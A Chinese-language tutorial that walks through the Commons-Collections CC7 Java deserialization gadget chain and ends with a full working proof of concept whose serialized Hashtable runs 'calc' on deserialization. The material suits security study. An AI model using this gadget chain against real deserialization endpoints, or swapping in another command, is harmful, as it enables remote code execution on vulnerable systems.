CC7:
这个就是改了一下触发transform()的
版本要求:
JDK < 8u121
Commons-Collections ≤ 3.2.1
LazyMap类:
还是从get()方法触发transform()方法入手:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
AbstractMap类:
这个类的equals()方法可以触发get()方法:

public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
这里讲一下为什么没有显示实例化AbstractMap也能调用它的equals()方法:
我们先实例化一个HashMap类,再用LazyMap的decorate()方法修饰,这个时候reconstitutionPut()方法调用equals()方法时会先在LazyMap类里面找,找不到会去HashMap里面找,之后要是还找不到就会向HashMap的父类里面找这个方法。

然后我们可以看到,HashMap的父类就是AbstractMap类,自然就会调用它的equals()方法了。
Hashtable类:
我们看它的reconstitutionPut()方法:

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
这里会触发equals()方法。
再看这个类的readObject()方法:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
这里会触发我们上面的reconstitutionPut()方法,同时也是我们反序列化链的出口。
到这里我们的链子大体就构造完了。下面就是一些细节处理
细节调整:

我们先看equals()方法,这里传进来的参数必须要三个条件都不满足,不让它提前返回,即:
- 不是当前对象
- 是
Map对象 - 跟现在执行
equals方法的Map的元素个数一样
然后再往下看

这里reconstitutionPut()方法要value值不为空,且key的hash相同。也就是说在Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法。下面给一组Hash相同的值(从其他师傅那里偷的理解):
yy与zZ
Ea与FB
这两个元素需要用put()方法传入,不过这里又有问题

第二个传入的Map调用这个put()方法时由于跟前一个调用put()的Map的Hash一样(我们就是这么构造的),会提前调用equals()方法,会提前把程序跑完,所以需要把transform()那里先传入一个其他值最后再反射改回来,用了很多次这个方法了。这里还有一个需要注意的地方:

LazyMap类的get()方法会put进新的值,导致第二个Map的值的数量跟第一个不同,导致后面再调用equals()方法时无法通过第三个if,即值的数量不相同。所以后面要手动用remove()移除
POC:
package SerializeChains.CCchains.CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
//CC7链的开始
//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
//iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
lazyMap2.remove("yy");
serialize(hashtable);
unserialize("CC7.txt");
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC7.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}